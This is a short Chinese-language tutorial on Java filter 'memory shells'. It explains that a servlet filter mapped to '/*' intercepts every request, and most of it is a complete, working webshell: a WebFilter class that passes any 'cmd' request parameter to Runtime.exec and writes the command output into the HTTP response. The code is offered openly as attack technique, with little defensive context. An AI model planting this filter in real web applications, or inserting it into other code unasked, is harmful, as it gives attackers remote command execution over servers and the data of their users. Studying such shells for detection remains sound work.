Java内存马基础

Java过滤器内存马

首先过滤器，顾名思义就是过滤用的；

首先设置要过滤的目录或文件，当我们访问该目录中的文件时都会经过过滤器；如果我们将webshell代码放到过滤器中，那么只要我们的访问经过过滤器都可以出发木马。
下面是一个最基本的filter内存马：

package filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
//设置过滤所有请求
@WebFilter(urlPatterns = "/*")
public class firstFilter implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        System.out.println("这是过滤器！！！");
        //cmd：触发参数
        if (req.getParameter("cmd")!=null){
        //一句话木马
            Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = bufferedReader.readLine())!=null){
                resp.getWriter().println(line);
            }
            resp.getWriter().flush();
        }
        chain.doFilter(req,resp);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

总结：
当过滤器的目录为/*时我们即使访问不存在文件也会成功执行。